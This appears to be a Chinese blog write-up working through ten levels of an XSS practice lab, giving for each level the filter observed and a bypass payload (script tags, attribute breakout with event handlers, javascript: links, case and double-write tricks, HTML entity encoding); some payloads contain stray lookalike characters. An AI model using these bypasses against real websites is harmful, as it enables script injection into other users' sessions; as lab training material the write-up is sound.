当前位置: 首页 > article >正文

XSS漏洞靶场练习

第一关

观察代码,在用户传入name时,未进行任何的过滤或者转义,导致漏洞

代码中重新定义了alert函数,所以可以使用该函数

payload

<script>alert()</script>

第二关

继续使用第一关的思路,并未成功

查看后发现该js被当成input中的value值了

可以使用 "> 将input语句进行闭合

第三关

观察代码发现

只转义双引号,未过滤单引号,需要构造一个自动触发的属性,使用onmouseover属性

payload

?keyword=‘ onmouseover’=alert()

第四关

观察代码可以看到,value中并未使用htmlspecialchars属性进行转义,可以使用双引号

payload

?keyword=" οnmοuseοver="alert()

第五关

观察代码发现,使用第四关的payload时会将on替换为o_n,此时该payload失效

value中还是未使用htmlspecialchars属性进行转义,此时可以使用超链接

payload

?keyword=">%20<a%20href="javascript:alert(%27xss%27)">在这</a>

第六关

与第五关相比,第六关并未使用strtolower函数对大小写进行过滤,可以使用大小写

payload

?keyword="> <SCRIPT>alert()</SCRIPT>

第七关

使用?keyword="><script>alert()</script>这个payload发现script被过滤,可以使用双写绕过

payload

?keyword="><scrscriptipt>alert()</scrscriptipt>

第八关

使用前几关的方法均未能绕过

观察代码可以看到,未对HTML实体编码进行过滤

可以将要使用的payload进行HTML实体编码进行绕过

payload

javascript:alert()

编码后

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41

第九关

使用第八关的方法发现链接不合法

在加上HTTP协议头进行尝试

payload

javascript:alert()

HTML实体编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

第十关

使用F12观察,发现有隐藏输入框,传入参数,可以看到t_sort含有漏洞

构造payload传入t_sort

script的<>被过滤,使用onclick进行尝试

?t_sort=" οnclick="alert()" type=""

 


http://www.kler.cn/a/593594.html

相关文章:

  • 成都国际数字影像产业园,文创产业运营新典范深度解析​
  • win10 如何用我的笔记本 接网线 远程控制 台式机
  • Python个人学习笔记(17):模块(sys、picklejson)
  • 4.6--入门知识扫盲,路径追踪与路由误导:Tracert攻击 vs ICMP重定向攻击(包你看一遍全记住)
  • iPaaS集成平台中的API可视化编排能给企业带来什么作用
  • Bilve 搭建手册
  • 解析Collections工具类主要功能
  • Execution failed for task ‘:path_provider_android:compileDebugJavaWithJavac‘.
  • PyTorch分布式训练中各节点如何通信
  • 第1次课枚举算法
  • Ubuntu 软件仓库管理概述与基本原理
  • PCL—passThrough 点云直通滤波器
  • 阿根廷主流收单方式:Rapipago支付
  • 复盘的力量:如何通过复盘提升项目管理水平
  • Postman高级功能深度解析:Mock Server与自动化监控——构建高效API测试与监控体系
  • 【最后203篇系列】020 rocksdb agent
  • Apache Paimon 在抖音集团多场景中的优化实践
  • latex-二项式括号怎么敲?
  • 【嵌入式学习】补码-加减乘除电路
  • Linux系统docker部署Ollama本地大模型及部署Hugging Face开源模型,ollama相关注意点,非ollama模型创建,模型量化,显存建议